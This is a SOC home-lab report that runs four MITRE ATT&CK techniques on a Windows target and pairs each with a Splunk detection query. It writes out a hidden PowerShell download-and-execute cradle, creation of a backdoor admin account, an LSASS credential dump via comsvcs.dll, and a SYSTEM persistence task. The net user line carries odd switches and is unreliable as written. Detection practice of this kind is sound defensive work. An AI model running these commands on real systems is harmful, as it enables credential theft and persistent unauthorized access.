

SOC Home Lab Simulation Report

Report Date: September 2026

Lab Environment: pfSense (Firewall), Kali Linux (Attacker), Windows (Target), Splunk (SIEM), Suricata (IDS)

1. Executive Summary

This report documents a series of adversarial simulations performed within a controlled SOC home lab environment. The objective was to execute common attack vectors mapped to the MITRE ATT&CK; framework and validate the detection capabilities of a deployed Splunk SIEM and Suricata IDS. The network architecture featured a segmented topology managed by pfSense, isolating the Attacker (Kali), Victim (Windows/Ubuntu), and Management (Splunk) zones.

2. Adversarial Attack Matrix

#	Attack Name	MITRE ID	Kill Chain Phase	Key Log Source
4	PowerShell Execution	T1059.001	Execution	Sysmon Event ID 1
5	Local User Creation	T1136.001	Persistence	Security Event ID 4720
6	Credential Dumping (LSASS)	T1003.001	Credential Access	Sysmon Event ID 10
7	Scheduled Task Creation	T1053.005	Persistence	Security Event ID 4698

3. Technical Findings & Detection Analysis

Attack #4: PowerShell Execution

MITRE ID: T1059.001 (Command and Scripting Interpreter: PowerShell)

Description: Adversaries use PowerShell to perform a wide range of actions, including discovery of information and execution of code. In this simulation, a hidden window download cradle was executed.

Execution Command:

```
powershell.exe -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://127.0.0.1/malware.ps1')"
```

Splunk Detection Query:

```
index=windows  
sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=1  
"powershell.exe"
```

Artifacts: Sysmon Event ID 1 (Process Create). Key fields: *CommandLine*, *ParentImage*.

Attack #5: Local User Creation

MITRE ID: T1136.001 (Create Account: Local Account)

Description: Adversaries may create a local account to maintain access to victim systems. A new user 'hacker_admin' was created and added to the Administrators group.

Execution Command:

```
net user hacker_admin /add /pass:12345678 /full /y /m /s  
net localgroup administrators hacker_admin /add
```

Splunk Detection Query:

```
index=windows sourcetype="XmlWinEventLog:Security" EventCode=4720
```

Artifacts: Security Event ID 4720 (User Account Created). Key fields: *TargetUserName*, *SubjectUserName*.

Attack #6: Credential Dumping (LSASS)

MITRE ID: T1003.001 (OS Credential Dumping: LSASS Memory)

Description: LSASS memory contains credentials such as NTLM hashes and Kerberos tickets. The *comsvcs.dll* MiniDump function was used to dump lsass.exe memory to disk.

Execution Command:

```
rundll32.exe C:\windows\system32\comsvcs.dll, MiniDump [PID]  
C:\windows\temp\lsass.dmp full
```

Splunk Detection Query:

```
index=windows  
sourcetype="XmlWinEventLog:Microsoft-Windows-Sysmon/Operational" EventCode=10  
TargetImage="*lsass.exe"
```

Artifacts: Sysmon Event ID 10 (Process Access). Key fields: *SourceImage* (rundll32.exe), *TargetImage* (lsass.exe), *GrantedAccess*.

Attack #7: Scheduled Task Creation

MITRE ID: T1053.005 (Scheduled Task/Job: Scheduled Task)

Description: Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. A daily task 'MaliciousPersistence' was created.

Execution Command:

```
schtasks /create /tn "MaliciousPersistence" /tr "cmd.exe /c echo Backdoor" /sc  
daily /st 12:00 /ru "SYSTEM"
```

Splunk Detection Query:

```
index=windows sourcetype="XmlWinEventLog:Security" EventCode=4698
```

Artifacts: Security Event ID 4698 (Scheduled Task Created). Key fields: *TaskName*, *Command*.

4. Conclusion

The simulation successfully demonstrated the detection coverage of the deployed SOC stack. All four attack vectors generated distinct telemetry within the Windows Event Logs and Sysmon streams, which were successfully ingested by Splunk. Future work will involve creating automated correlation rules and dashboards to alert on these sequences in real-time.